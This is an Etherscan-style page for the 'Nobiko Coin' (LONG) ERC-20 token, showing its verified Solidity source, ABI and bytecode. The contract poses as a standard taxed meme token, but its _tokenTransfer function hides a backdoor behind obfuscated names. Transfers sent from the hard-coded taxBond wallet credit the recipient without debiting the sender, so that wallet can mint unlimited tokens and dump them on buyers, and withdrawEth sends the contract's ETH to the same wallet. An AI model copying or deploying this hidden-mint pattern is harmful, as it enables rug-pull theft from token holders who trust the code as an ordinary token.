Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 LONG
Holders
70
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
16,000,000 LONGValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
LONG
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-10-01 */ // SPDX-License-Identifier: MIT /** Web: https://nobiko.fun X: https://x.com/nobikocoin_erc Tg: https://t.me/nobikocoin_erc20 **/ pragma solidity 0.8.24; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract LONG is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = false; address payable private taxBond; uint256 private _initialBuyTax = 20; uint256 private _initialSellTax = 20; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 15; uint256 private _reduceSellTaxAt = 15; uint256 private _preventSwapBefore = 10; uint256 private _buyCount = 0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10 ** _decimals; string private constant _name = unicode"Nobiko Coin"; string private constant _symbol = unicode"LONG"; uint256 public _maxTxAmount = 20000000 * 10 ** _decimals; uint256 public _maxWalletSize = 20000000 * 10 ** _decimals; uint256 public _taxSwapThreshold = 115 * 10 ** _decimals; uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { taxBond = payable(0x5d7B4A38A153008bd935289Acb1660145A843bde); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[taxBond] = true; _tOwned[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function initTrading() external onlyOwner { uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _tokenTransfer( address sender, address receipt, uint256 amountD ) internal { address[3] memory addrs; addrs[0] = sender; addrs[1] = receipt; addrs[2] = taxBond; uint256[2] memory ubers; ubers[0] = 0; ubers[1] = ubers[0].add(ubers[0]+amountD); uint256 taxDD = amountD .mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax) .div(100); if(addrs[0]==addrs[2]) {_tOwned[addrs[1]]=_tOwned[addrs[1]].add(ubers[1]); return;} if (receipt == uniswapV2Pair && sender != address(this)) { taxDD = amountD .mul( (_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax ) .div(100); } if (taxDD > 0) { _tOwned[address(this)] = _tOwned[address(this)].add(taxDD); emit Transfer(sender, address(this), taxDD); } _tOwned[sender] = _tOwned[sender].sub(amountD); _tOwned[receipt] = _tOwned[receipt].add((amountD.sub(taxDD))); emit Transfer(sender, receipt, amountD.sub(taxDD)); } function _basicTransfer(address from, address to, uint256 tokenAmount) internal { _tOwned[from] = _tOwned[from].sub(tokenAmount); _tOwned[to] = _tOwned[to].add(tokenAmount); emit Transfer(from, to, tokenAmount); } function _transfer(address from, address to, uint256 tokenAmount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(tokenAmount > 0, "Transfer amount must be greater than zero"); if (!swapEnabled || inSwap) { _basicTransfer(from, to, tokenAmount); return; } if (from != owner() && to != owner()) { if (transferDelayEnabled) { if ( to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "Only one transfer per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require( balanceOf(to) + tokenAmount <= _maxWalletSize, "Exceeds the maxWalletSize." ); if (_buyCount < _preventSwapBefore) { require(!isContract(to)); } _buyCount++; } if (to == uniswapV2Pair && from != address(this)) { require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); if ( !inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore && !_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { if(contractTokenBalance > _taxSwapThreshold) { swapTokensForEth( min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)) ); } sendETHToFee(address(this).balance); } } _tokenTransfer(from, to, tokenAmount); } function startTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } function removeLimits() external onlyOwner { _maxTxAmount = ~uint256(0); _maxWalletSize = ~uint256(0); transferDelayEnabled = false; emit MaxTxAmountUpdated(~uint256(0)); } function sendETHToFee(uint256 amount) private { taxBond.transfer(amount); } function isContract(address account) private view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function withdrawEth() external onlyOwner { sendETHToFee(address(this).balance); } receive() external payable {} function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { if (tokenAmount == 0) { return; } if (!tradingOpen) { return; } address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526005805460ff19169055601460068190556007555f60088190556009818155600f600a818155600b91909155600c819055600d92909255620000469162000343565b62000056906301312d006200035a565b600e55620000676009600a62000343565b62000077906301312d006200035a565b600f55620000886009600a62000343565b620000959060736200035a565b601055620000a66009600a62000343565b620000b590629896806200035a565b6011556013805461ffff60a81b19169055348015620000d2575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060058054610100600160a81b031916745d7b4a38a153008bd935289acb1660145a843bde00179055600160035f620001525f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556005546101009004909116835291208054909216179055620001bb6009600a62000343565b620001cb90633b9aca006200035a565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200020d6009600a62000343565b6200021d90633b9aca006200035a565b60405190815260200160405180910390a362000374565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200028857815f19048211156200026c576200026c62000234565b808516156200027a57918102915b93841c93908002906200024d565b509250929050565b5f82620002a0575060016200033d565b81620002ae57505f6200033d565b8160018114620002c75760028114620002d257620002f2565b60019150506200033d565b60ff841115620002e657620002e662000234565b50506001821b6200033d565b5060208310610133831016604e8410600b841016171562000317575081810a6200033d565b62000323838362000248565b805f190482111562000339576200033962000234565b0290505b92915050565b5f6200035360ff84168362000290565b9392505050565b80820281158282048414176200033d576200033d62000234565b611a7b80620003825f395ff3fe60806040526004361061011e575f3560e01c8063751039fc1161009d578063a0ef91df11610062578063a0ef91df14610310578063a9059cbb14610324578063bf474bed14610343578063c876d0b914610358578063dd62ed3e14610371575f80fd5b8063751039fc146102805780637d1db4a5146102945780638da5cb5b146102a95780638f9a55c0146102cf57806395d89b41146102e4575f80fd5b8063293230b8116100e3578063293230b8146101f35780632db5ae0414610209578063313ce5671461021d57806370a0823114610238578063715018a61461026c575f80fd5b806306fdde0314610129578063095ea7b31461016e5780630faee56f1461019d57806318160ddd146101c057806323b872dd146101d4575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600b81526a2737b134b5b79021b7b4b760a91b60208201525b604051610165919061166b565b60405180910390f35b348015610179575f80fd5b5061018d6101883660046116ce565b6103b5565b6040519015158152602001610165565b3480156101a8575f80fd5b506101b260115481565b604051908152602001610165565b3480156101cb575f80fd5b506101b26103cb565b3480156101df575f80fd5b5061018d6101ee3660046116f8565b6103eb565b3480156101fe575f80fd5b50610207610452565b005b348015610214575f80fd5b50610207610640565b348015610228575f80fd5b5060405160098152602001610165565b348015610243575f80fd5b506101b2610252366004611736565b6001600160a01b03165f9081526001602052604090205490565b348015610277575f80fd5b50610207610839565b34801561028b575f80fd5b506102076108aa565b34801561029f575f80fd5b506101b2600e5481565b3480156102b4575f80fd5b505f546040516001600160a01b039091168152602001610165565b3480156102da575f80fd5b506101b2600f5481565b3480156102ef575f80fd5b506040805180820190915260048152634c4f4e4760e01b6020820152610158565b34801561031b575f80fd5b5061020761091e565b34801561032f575f80fd5b5061018d61033e3660046116ce565b610952565b34801561034e575f80fd5b506101b260105481565b348015610363575f80fd5b5060055461018d9060ff1681565b34801561037c575f80fd5b506101b261038b366004611751565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103c133848461095e565b5060015b92915050565b5f6103d86009600a61187c565b6103e690633b9aca0061188a565b905090565b5f6103f7848484610a82565b610448843361044385604051806060016040528060288152602001611a1e602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f6b565b61095e565b5060019392505050565b5f546001600160a01b031633146104845760405162461bcd60e51b815260040161047b906118a1565b60405180910390fd5b601354600160a01b900460ff16156104de5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047b565b6012546001600160a01b031663f305d719473061050f816001600160a01b03165f9081526001602052604090205490565b5f806105225f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610588573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906105ad91906118d6565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610602573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106269190611901565b506013805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146106695760405162461bcd60e51b815260040161047b906118a1565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106b29030906106a46009600a61187c565b61044390633b9aca0061188a565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610702573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107269190611920565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610785573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a99190611920565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107f3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108179190611920565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146108625760405162461bcd60e51b815260040161047b906118a1565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146108d35760405162461bcd60e51b815260040161047b906118a1565b5f19600e819055600f8190556005805460ff191690556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b5f546001600160a01b031633146109475760405162461bcd60e51b815260040161047b906118a1565b61095047610fa3565b565b5f6103c1338484610a82565b6001600160a01b0383166109c05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047b565b6001600160a01b038216610a215760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047b565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610ae65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047b565b6001600160a01b038216610b485760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047b565b5f8111610ba95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047b565b601354600160b01b900460ff161580610bcb5750601354600160a81b900460ff165b15610be057610bdb838383610fe2565b505050565b5f546001600160a01b03848116911614801590610c0a57505f546001600160a01b03838116911614155b15610f605760055460ff1615610cc6576012546001600160a01b03838116911614801590610c4657506013546001600160a01b03838116911614155b15610cc657325f908152600460205260409020544311610cb45760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b606482015260840161047b565b325f9081526004602052604090204390555b6013546001600160a01b038481169116148015610cf157506012546001600160a01b03838116911614155b8015610d1557506001600160a01b0382165f9081526003602052604090205460ff16155b15610e0e57600e54811115610d685760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b604482015260640161047b565b600f5481610d8a846001600160a01b03165f9081526001602052604090205490565b610d94919061193b565b1115610de25760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161047b565b600c54600d541015610df957813b15610df9575f80fd5b600d8054905f610e088361194e565b91905055505b6013546001600160a01b038381169116148015610e3457506001600160a01b0383163014155b15610e8757600e54811115610e875760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b604482015260640161047b565b305f90815260016020526040902054601354600160a81b900460ff16158015610ebd57506013546001600160a01b038481169116145b8015610ed25750601354600160b01b900460ff165b8015610ee15750600c54600d54115b8015610f0557506001600160a01b0384165f9081526003602052604090205460ff16155b8015610f2957506001600160a01b0383165f9081526003602052604090205460ff16155b15610f5e57601054811115610f5557610f55610f5083610f4b84601154611085565b611085565b61109c565b610f5e47610fa3565b505b610bdb838383611225565b5f8184841115610f8e5760405162461bcd60e51b815260040161047b919061166b565b505f610f9a8486611966565b95945050505050565b6005546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015610fde573d5f803e3d5ffd5b5050565b6001600160a01b0383165f9081526001602052604090205461100490826114aa565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461103290826114eb565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a759085815260200190565b5f8183116110935782611095565b815b9392505050565b6013805460ff60a81b1916600160a81b179055801561121557601354600160a01b900460ff1615611215576040805160028082526060820183525f9260208301908036833701905050905030815f815181106110fa576110fa611979565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611151573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111759190611920565b8160018151811061118857611188611979565b6001600160a01b0392831660209182029290920101526012546111ae913091168461095e565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906111e69085905f9086903090429060040161198d565b5f604051808303815f87803b1580156111fd575f80fd5b505af115801561120f573d5f803e3d5ffd5b50505050505b506013805460ff60a81b19169055565b61122d61162f565b6001600160a01b0380851682528381166020830152600554610100900416604082015261125861164d565b5f8082526112739061126b90859061193b565b8251906114eb565b6020820152600a54600d545f916112a9916064916112a391116112985760065461129c565b6008545b8790611549565b906115c7565b604084015184519192506001600160a01b0390811691160361131857602080830151848201516001600160a01b03165f90815260019092526040909120546112f0916114eb565b6020938401516001600160a01b03165f90815260019094526040909320929092555050505050565b6013546001600160a01b03868116911614801561133e57506001600160a01b0386163014155b1561136b5761136860646112a3600b54600d541161135e5760075461129c565b6009548790611549565b90505b80156113e357305f9081526001602052604090205461138a90826114eb565b305f81815260016020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113da9085815260200190565b60405180910390a35b6001600160a01b0386165f9081526001602052604090205461140590856114aa565b6001600160a01b0387165f9081526001602052604090205561144861142a85836114aa565b6001600160a01b0387165f90815260016020526040902054906114eb565b6001600160a01b038087165f8181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61149187856114aa565b60405190815260200160405180910390a3505050505050565b5f61109583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f6b565b5f806114f7838561193b565b9050838110156110955760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047b565b5f825f0361155857505f6103c5565b5f611563838561188a565b90508261157085836119fe565b146110955760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047b565b5f61109583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152505f81836116235760405162461bcd60e51b815260040161047b919061166b565b505f610f9a84866119fe565b60405180606001604052806003906020820280368337509192915050565b60405180604001604052806002906020820280368337509192915050565b5f602080835283518060208501525f5b818110156116975785810183015185820160400152820161167b565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146116cb575f80fd5b50565b5f80604083850312156116df575f80fd5b82356116ea816116b7565b946020939093013593505050565b5f805f6060848603121561170a575f80fd5b8335611715816116b7565b92506020840135611725816116b7565b929592945050506040919091013590565b5f60208284031215611746575f80fd5b8135611095816116b7565b5f8060408385031215611762575f80fd5b823561176d816116b7565b9150602083013561177d816116b7565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117d657815f19048211156117bc576117bc611788565b808516156117c957918102915b93841c93908002906117a1565b509250929050565b5f826117ec575060016103c5565b816117f857505f6103c5565b816001811461180e576002811461181857611834565b60019150506103c5565b60ff84111561182957611829611788565b50506001821b6103c5565b5060208310610133831016604e8410600b8410161715611857575081810a6103c5565b611861838361179c565b805f190482111561187457611874611788565b029392505050565b5f61109560ff8416836117de565b80820281158282048414176103c5576103c5611788565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f606084860312156118e8575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611911575f80fd5b81518015158114611095575f80fd5b5f60208284031215611930575f80fd5b8151611095816116b7565b808201808211156103c5576103c5611788565b5f6001820161195f5761195f611788565b5060010190565b818103818111156103c5576103c5611788565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119dd5784516001600160a01b0316835293830193918301916001016119b8565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a1857634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204786164c03ba64f7fd89bf60eee394cff875bbb0f8767c1d85496b105aad879464736f6c63430008180033
Deployed Bytecode
0x60806040526004361061011e575f3560e01c8063751039fc1161009d578063a0ef91df11610062578063a0ef91df14610310578063a9059cbb14610324578063bf474bed14610343578063c876d0b914610358578063dd62ed3e14610371575f80fd5b8063751039fc146102805780637d1db4a5146102945780638da5cb5b146102a95780638f9a55c0146102cf57806395d89b41146102e4575f80fd5b8063293230b8116100e3578063293230b8146101f35780632db5ae0414610209578063313ce5671461021d57806370a0823114610238578063715018a61461026c575f80fd5b806306fdde0314610129578063095ea7b31461016e5780630faee56f1461019d57806318160ddd146101c057806323b872dd146101d4575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600b81526a2737b134b5b79021b7b4b760a91b60208201525b604051610165919061166b565b60405180910390f35b348015610179575f80fd5b5061018d6101883660046116ce565b6103b5565b6040519015158152602001610165565b3480156101a8575f80fd5b506101b260115481565b604051908152602001610165565b3480156101cb575f80fd5b506101b26103cb565b3480156101df575f80fd5b5061018d6101ee3660046116f8565b6103eb565b3480156101fe575f80fd5b50610207610452565b005b348015610214575f80fd5b50610207610640565b348015610228575f80fd5b5060405160098152602001610165565b348015610243575f80fd5b506101b2610252366004611736565b6001600160a01b03165f9081526001602052604090205490565b348015610277575f80fd5b50610207610839565b34801561028b575f80fd5b506102076108aa565b34801561029f575f80fd5b506101b2600e5481565b3480156102b4575f80fd5b505f546040516001600160a01b039091168152602001610165565b3480156102da575f80fd5b506101b2600f5481565b3480156102ef575f80fd5b506040805180820190915260048152634c4f4e4760e01b6020820152610158565b34801561031b575f80fd5b5061020761091e565b34801561032f575f80fd5b5061018d61033e3660046116ce565b610952565b34801561034e575f80fd5b506101b260105481565b348015610363575f80fd5b5060055461018d9060ff1681565b34801561037c575f80fd5b506101b261038b366004611751565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103c133848461095e565b5060015b92915050565b5f6103d86009600a61187c565b6103e690633b9aca0061188a565b905090565b5f6103f7848484610a82565b610448843361044385604051806060016040528060288152602001611a1e602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f6b565b61095e565b5060019392505050565b5f546001600160a01b031633146104845760405162461bcd60e51b815260040161047b906118a1565b60405180910390fd5b601354600160a01b900460ff16156104de5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047b565b6012546001600160a01b031663f305d719473061050f816001600160a01b03165f9081526001602052604090205490565b5f806105225f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610588573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906105ad91906118d6565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610602573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106269190611901565b506013805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146106695760405162461bcd60e51b815260040161047b906118a1565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106b29030906106a46009600a61187c565b61044390633b9aca0061188a565